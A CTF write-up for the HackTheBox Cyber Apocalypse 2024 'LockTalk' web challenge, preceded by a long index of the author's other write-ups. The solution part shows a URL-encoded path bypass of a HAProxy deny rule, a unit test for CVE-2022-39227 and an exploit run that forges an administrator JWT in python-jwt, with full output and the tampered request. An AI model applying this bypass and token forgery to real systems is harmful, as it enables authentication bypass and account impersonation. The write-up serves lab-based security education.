CTF Writeups
WebsiteDiscordSocials..
  • CryptoCat's CTF writeups
  • 2025
    • Tsuku
      • Web
        • len_len
        • Flash
        • YAMLwaf
    • CTF@CIT
      • Web
        • Breaking Authentication
        • Commit & Order: Version Control Unit
        • How I Parsed your JSON
        • Mr. Chatbot
        • Keeping Up with the Credentials
  • 2024
    • CryptoCat
      • Summar-AI-ze
    • Intigriti
      • Warmup
        • BabyFlow
        • In Plain Sight
        • IrrORversible
        • Layers
        • Rigged Slot Machine 1
      • Game
        • Bug Squash 1
        • Bug Squash 2
      • Rev
        • Secure Bank
      • Web
        • Biocorp
        • Cat Club
        • Pizza Paradise
        • SafeNotes 2.0
      • Misc
        • Quick Recovery
        • Triage Bot 2
      • Pwn
        • Floormat Sale
        • Retro2Win
        • Rigged Slot Machine 2
        • UAP
      • Crypto
        • Schrodinger's Pad
      • Mobile
        • Cold Storage
      • OSINT
        • No Comment
        • Trackdown
        • Trackdown 2
      • Forensics
        • CTF Mind Tricks
        • Hoarded Flag
        • Password Management
    • CSAW
      • Web
        • Playing on the Backcourts
        • Log Me In
        • Lost Pyramid
        • BucketWars
    • CyberSpace
      • Web
        • Feature Unlocked
    • UIU
      • Web
        • Fare Evasion
        • Log Action
    • Wani
      • Web
        • Bad Worker
        • PoW
        • One Day One Letter
    • Akasec
      • Web
    • HTB Cyber Apocalypse
      • Web
        • Flag Command
        • TimeKORP
        • KORP Terminal
        • Labyrinth Linguist
        • Locktalk
        • SerialFlow
        • Testimonial
  • 2023
    • Intigriti
      • Gamepwn
        • Dark Secrets
      • Misc
        • Triage Bot
      • OSINT
        • Photographs
      • Pwn
        • Floormat Store
      • Web
        • Bug Report Repo
        • My Music
    • Imaginary
      • Web
        • Blank
        • IDORiot
        • Inspection
        • Login
        • Perfect Picture
        • Roks
    • Google
      • Pwn
        • Write-Flag-Where
    • Cyber Apocalypse
      • AI
        • Last Hope
        • Mysterious Learning
      • Crypto
        • Perfect Synchronization
      • Pwn
        • Getting Started
        • Labyrinth
        • Pandora's Box
        • Void
      • Rev
        • Cave System
        • Hunting License
        • Needle in a Haystack
        • Shattered Tablet
        • She Sells Sea Shells
    • Sekai
      • Rev
        • Azusawa's Gacha World
    • Amateurs
      • Web
        • Sanity
        • Waiting an Eternity
    • NahamCon
      • Web
        • Hidden Figures
        • Marmalade 5
        • Obligatory
        • Star Wars
        • Stickers
    • Angstrom
      • Pwn
        • Leek
  • 2022
    • Imaginary (iCTF)
      • Crypto
        • ASE
      • Pwn
        • Links 1
        • Links 2
        • Links 3
        • Open Doors
    • SEETF
      • Pwn
        • 4mats
        • Easy Overflow
      • Rev
        • BabyReeee
      • Web
        • Super-Secure-Requests-Forwarder
    • HTB Cyber Apocalypse
      • Pwn
        • Hellbound
    • Angstrom
      • Pwn
        • Really Obnoxious Problem
        • Wah
        • Whats My Name
        • Where Am I
      • Web
        • Crumbs
        • Xtra Salty Sardines
    • NahamCon
      • Pwn
        • Baby Steps
      • Web
        • Flaskmetal Alchemist
        • Hacker Ts
        • Two for One
    • Pico
      • Forensics
        • Side Channel
      • Pwn
        • Buffer Overflow 1
        • Buffer Overflow 2
        • Buffer Overflow 3
        • Flag Leak
        • Function Overwrite
        • ROPfu
        • RPS
        • Stack Cache
        • Wine
        • X-Sixty-What
      • Rev
        • Wizardlike
      • Web
        • Noted
    • Space Heroes
      • Pwn
        • Vader
      • Web
        • Flag in Space
    • Intigriti
      • Pwn
        • Bird
        • Cake
        • Easy Register
        • Search Engine
    • Dice
      • Pwn
        • Interview Opportunity
  • 2021
    • Pico
      • Pwn
        • Unsubscriptions Are Free
    • Crusaders of Rust (COR)
      • Crypto
        • Fibinary
      • Pwn
        • Chainblock
    • HTB Cyber Santa
      • Crypto
        • Meet Me Halfway
        • Xmas Spirit
      • Pwn
        • Minimelfistic
        • Mr. Snowy
        • Naughty List
        • Sleigh
      • Rev
        • Infiltration
        • Intercept
    • K3rn3l
      • Crypto
        • Badseed
        • Twizzty Buzzinezz
    • HTB x Synack RedTeamFive
      • Misc
        • Context
        • Hotel
      • Pwn
        • Air Supplies
        • Injection Shot
        • Library
        • Recruitment
      • Rev
        • Knock Knock
        • Split
    • KillerQueen
      • Pwn
        • A Kind of Magic
        • Tweety Birb
        • Zoom2Win
    • HacktivityCon
      • Pwn
        • Retcheck
        • The Library
        • Yabo
      • Web
        • Availability
    • CSAW
      • Pwn
        • Alien Math
        • Password Checker
      • Rev
        • Checker
    • HackyHolidays
      • Crypto
        • Cute Invoice
        • Mineslazer
      • Forensics
        • Injection Traffic
        • Power Snacks
      • Pwn
        • Deleted Flag
        • Engine Control
      • Web
        • Skylark
    • HTB Cyber Apocalypse
      • Crypto
        • Phasestream
      • Misc
        • Alien Camp
        • Build Yourself In
      • Pwn
        • Controller
        • System Drop
      • Web
        • Blitzprop
        • E-Tree
        • Wild Goose Hunt
    • Angstrom
      • Pwn
        • Sanity Checks
        • Secure Login
        • Sticky Stacks
        • Tranquil
      • Rev
        • Free Flags
        • Jailbreak
      • Web
        • Jar
Powered by GitBook
On this page
  • Video Walkthrough
  • Description
  • Solution
  1. 2024
  2. HTB Cyber Apocalypse
  3. Web

Locktalk

Writeup for LockTalk (Web) - HackTheBox Cyber Apocalypse CTF (2024) 💜

PreviousLabyrinth LinguistNextSerialFlow

Last updated 4 months ago

Video Walkthrough

Description

In "The Ransomware Dystopia," LockTalk emerges as a beacon of resistance against the rampant chaos inflicted by ransomware groups. In a world plunged into turmoil by malicious cyber threats, LockTalk stands as a formidable force, dedicated to protecting society from the insidious grip of ransomware. Chosen participants, tasked with representing their districts, navigate a perilous landscape fraught with ethical quandaries and treacherous challenges orchestrated by LockTalk. Their journey intertwines with the organization's mission to neutralize ransomware threats and restore order to a fractured world. As players confront internal struggles and external adversaries, their decisions shape the fate of not only themselves but also their fellow citizens, driving them to unravel the mysteries surrounding LockTalk and choose between succumbing to despair or standing resilient against the encroaching darkness.

Solution

We can review source code but first let's check the site functionality. The homepage has 3 available API endpoints:

GET /api/v1/get_ticket - Generates a ticket (JWT token)
GET /api/v1/chat/{chatId} - Finds chat history by ID
GET /api/v1/flag - Retrieves the flag

Unfortunately, we can't execute the last two queries since they require a JWT. However, we can try to generate a JWT with get_ticket.

Forbidden: Request forbidden by administrative rules.

OK, I guess not then 🙃 I don't see any other interesting functionality and burp scanner didn't find anything notable. Time to review the source code!

The following line in haproxy.cfg explains the previous error. It's checking if our URL-decoded (url_dec), case-insensitive (-i) path begins (path_beg) with /api/v1/get_ticket.

http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }

First, I thought maybe some might be required to bypass the path check. Then I saw some about ,

I quickly realised this was a dead end since none of the endpoints support POST requests and the deny rule doesn't appear to exclude internal traffic.

http://127.0.0.1:1337/%2fapi/v1/get_ticket

Now we have a valid JWT and can read chat history but not retrieve the flag.

Checking jwt_tool, we find information about the token.

jwt_tool eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwODA5MTcsImlhdCI6MTcxMDA3NzMxNywianRpIjoiUkdjaHZFZVBNZFJYRlpQR2hHT0pOUSIsIm5iZiI6MTcxMDA3NzMxNywicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.Vzxw0lMT-Gbr6TaxLw5_rge7mYRpBvl2D1D1h8pUymROJML9BeYnbp0j1G2qUgWk2SMJTB43dt5nNb7z3mjK_Oe7RwLHTHhCxxyAjO3z4U2XhpmRhXm6YYALZELFY00Kv0yJvqlshFdnOgK0VnU3ziiUJvJRpRL4WHpMVspAHPyf6YHcgDiWyJua5-3nGog1bYcQy9CuxYKTfeXhVRBzsyyOoJII0EggDJIzfadf1OXh2MzGrkaXCghe8Whb9VGsrBRDGsELc2p0UOBAljJuKaPS2RtheX2-Kb8RAQ_ZtD_XQm0RD2HhFOyRRhSyRXmvsj2m3vT34z5Ix8nG4SZb8Q

Token header values:
[+] alg = "PS256"
[+] typ = "JWT"

Token payload values:
[+] exp = 1710080917    ==> TIMESTAMP = 2024-03-10 14:28:37 (UTC)
[+] iat = 1710077317    ==> TIMESTAMP = 2024-03-10 13:28:37 (UTC)
[+] jti = "RGchvEePMdRXFZPGhGOJNQ"
[+] nbf = 1710077317    ==> TIMESTAMP = 2024-03-10 13:28:37 (UTC)
[+] role = "guest"
[+] user = "guest_user"

Seen timestamps:
[*] exp was seen
[*] iat is earlier than exp by: 0 days, 1 hours, 0 mins
[*] nbf is earlier than exp by: 0 days, 1 hours, 0 mins

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------

We're unable to crack secret due to an error: Algorithm is not HMAC-SHA - cannot test against passwords, try the Verify function.

If we simply change role to administrator and sign with the none algorithm: algorithm not allowed: none.

We can try and generate a key.

openssl genpkey -algorithm RSA -out private.pem
openssl rsa -pubout -in private.pem -out public.pem
jwt_tool eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwODMzNDksImlhdCI6MTcxMDA3OTc0OSwianRpIjoiR0pSLTJuS0JyV0VrMDNkdXNiOVRlZyIsIm5iZiI6MTcxMDA3OTc0OSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.IpTbfdY4bYGT0hLw9phgJlZVPAmBvze7KwY86jytKyqrSnIBZpUX_XG_oC8UUfUA8DCDZvsZteO1_QKLNqn2UHyDoVAdz0GUEMu8mTnM_CCxJ6jpfuI66cGWjyHJoQKYGhjLaC3ETJYMv38bCBKVUw2j5JgE_sJB-iMgcE-4EgDOfV_988bcGmWUbRoSEzFOTDLbhf15SkKEPnVIdCz00YKHJLJzMoFbGJimRcQTSXGlanfPOGao1V7r_d5VgntGELcuNuJpsq00rXLShsoRc1DXPvhtf_OVxvpQGo893UNUGAjHIPjhZZDA-sH_iyOC68Lf4NOBgUInxlkiN65tUg -I -pc role -pv administrator -S ps256 -pr private.pem

It does not work: Verification failed for all signatures[\"Failed: [InvalidJWSSignature('Verification failed')]\"]

OK, enough black box testing. We can check the source code and understand why this would fail; they generate their own key in config.py. Of course ours is not valid 😁

JWT_SECRET_KEY = jwk.JWK.generate(kty='RSA', size=2048)

We can see how they generate the JWTs in routes.py.

token = jwt.generate_jwt(claims, current_app.config.get('JWT_SECRET_KEY'), 'PS256', datetime.timedelta(minutes=60))

Finally, we confirm that the /flag route is only accessible using the administrator role.

@api_blueprint.route('/flag', methods=['GET'])
@authorize_roles(['administrator'])
def flag():
    return jsonify({'message': current_app.config.get('FLAG')}), 200

You don't say? That's exactly what we'd like to do! 😼

An attacker who obtains a JWT can arbitrarily forge its contents without knowing the secret key. Depending on the application, this may for example enable the attacker to spoof other user's identities, hijack their sessions, or bypass authentication.

""" Test claim forgery vulnerability fix """
from datetime import timedelta
from json import loads, dumps
from test.common import generated_keys
from test import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode

@Vows.batch
class ForgedClaims(Vows.Context):
    """ Check we get an error when payload is forged using mix of compact and JSON formats """
    def topic(self):
        """ Generate token """
        payload = {'sub': 'alice'}
        return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))

    class PolyglotToken(Vows.Context):
        """ Make a forged token """
        def topic(self, topic):
            """ Use mix of JSON and compact format to insert forged claims including long expiration """
            [header, payload, signature] = topic.split('.')
            parsed_payload = loads(base64url_decode(payload))
            parsed_payload['sub'] = 'bob'
            parsed_payload['exp'] = 2000000000
            fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
            return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

        class Verify(Vows.Context):
            """ Check the forged token fails to verify """
            @Vows.capture_error
            def topic(self, topic):
                """ Verify the forged token """
                return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])

            def token_should_not_verify(self, r):
                """ Check the token doesn't verify due to mixed format being detected """
                expect(r).to_be_an_error()
                expect(str(r)).to_equal('invalid JWT format')
python exploit.py -j "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.kwkl8iEwG9TQW3ZAHvAssvlQbjNbwtUPlA06IPV0P6aIQLrhlMWnx5wOp-i4HcZzGCaqq72ib6PconjjHMc1nZonAkebESLL-41P78xgGqiftwyZIzZc9QN2KktcbeapFpkCeDb8CAVMDDEx7eEuuOHgozWgVUzuYUk5pWRJrOfqyAPSHmvN9gm14_DPqRbOFviNq5o8Uw9UFLE8djJM0uDR7LHvKLIiFqikGJ52aHrLNRQqAw927uyPQ_EvH0ldpHi9Y6jkyWuImTK8f43JhxyBJPUOQXnwNaGP9ukf9zWlvYK4ZLp27b41HZFAWBNRMxDdpHUn4ARM__v8h8B9gw" -i "role=administrator"
[+] Retrieved base64 encoded payload: eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ
[+] Decoded payload: {'exp': 1710085391, 'iat': 1710081791, 'jti': 'beH5fPnzYFYY5CAEWO-ZuA', 'nbf': 1710081791, 'role': 'guest', 'user': 'guest_user'}
[+] Inject new "fake" payload: {'exp': 1710085391, 'iat': 1710081791, 'jti': 'beH5fPnzYFYY5CAEWO-ZuA', 'nbf': 1710081791, 'role': 'administrator', 'user': 'guest_user'}
[+] Fake payload encoded: eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9

[+] New token:
 {"  eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"kwkl8iEwG9TQW3ZAHvAssvlQbjNbwtUPlA06IPV0P6aIQLrhlMWnx5wOp-i4HcZzGCaqq72ib6PconjjHMc1nZonAkebESLL-41P78xgGqiftwyZIzZc9QN2KktcbeapFpkCeDb8CAVMDDEx7eEuuOHgozWgVUzuYUk5pWRJrOfqyAPSHmvN9gm14_DPqRbOFviNq5o8Uw9UFLE8djJM0uDR7LHvKLIiFqikGJ52aHrLNRQqAw927uyPQ_EvH0ldpHi9Y6jkyWuImTK8f43JhxyBJPUOQXnwNaGP9ukf9zWlvYK4ZLp27b41HZFAWBNRMxDdpHUn4ARM__v8h8B9gw"}

Example (HTTP-Cookie):
------------------------------
auth={"  eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"kwkl8iEwG9TQW3ZAHvAssvlQbjNbwtUPlA06IPV0P6aIQLrhlMWnx5wOp-i4HcZzGCaqq72ib6PconjjHMc1nZonAkebESLL-41P78xgGqiftwyZIzZc9QN2KktcbeapFpkCeDb8CAVMDDEx7eEuuOHgozWgVUzuYUk5pWRJrOfqyAPSHmvN9gm14_DPqRbOFviNq5o8Uw9UFLE8djJM0uDR7LHvKLIiFqikGJ52aHrLNRQqAw927uyPQ_EvH0ldpHi9Y6jkyWuImTK8f43JhxyBJPUOQXnwNaGP9ukf9zWlvYK4ZLp27b41HZFAWBNRMxDdpHUn4ARM__v8h8B9gw"}

Now, we just send the tampered token to the /flag endpoint in burp repeater and receive the flag.

GET /api/v1/flag HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:1337/
Authorization: {"  eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"kwkl8iEwG9TQW3ZAHvAssvlQbjNbwtUPlA06IPV0P6aIQLrhlMWnx5wOp-i4HcZzGCaqq72ib6PconjjHMc1nZonAkebESLL-41P78xgGqiftwyZIzZc9QN2KktcbeapFpkCeDb8CAVMDDEx7eEuuOHgozWgVUzuYUk5pWRJrOfqyAPSHmvN9gm14_DPqRbOFviNq5o8Uw9UFLE8djJM0uDR7LHvKLIiFqikGJ52aHrLNRQqAw927uyPQ_EvH0ldpHi9Y6jkyWuImTK8f43JhxyBJPUOQXnwNaGP9ukf9zWlvYK4ZLp27b41HZFAWBNRMxDdpHUn4ARM__v8h8B9gw"}
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Sec-GPC: 1

Flag: HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}

I decided to try and found a few different techniques to bypass, e.g. this one with a URL-encoded /.

Similarly, trying to sign with a null key using the returns algorithm not allowed: HS256, but there's no PS256 option for us to experiment with.

Then try to tamper (inject claim) and sign it with PSS RSA using the jwt_tool (great ).

I decided to look for any recent vulnerabilities in the package.

Note: Versions 3.3.4 and later fix a (CVE-2022-39227) in JSON Web Token verification which lets an attacker with a valid token re-use its signature with modified claims. CVE to follow. Please upgrade!

Let's check the

It doesn't explain how to forge a JWT but there are some accompanying

I started to build a custom script but had lots of python package issues and ended up finding a pre-existing instead 😌

403 Bypasser
JWT editor burp extension
wiki
python-jwt
vulnerability
CVE-2022-39227 advisory
unit tests
PoC
URL-format bypass tricks
reports
HTTP request smuggling in haproxy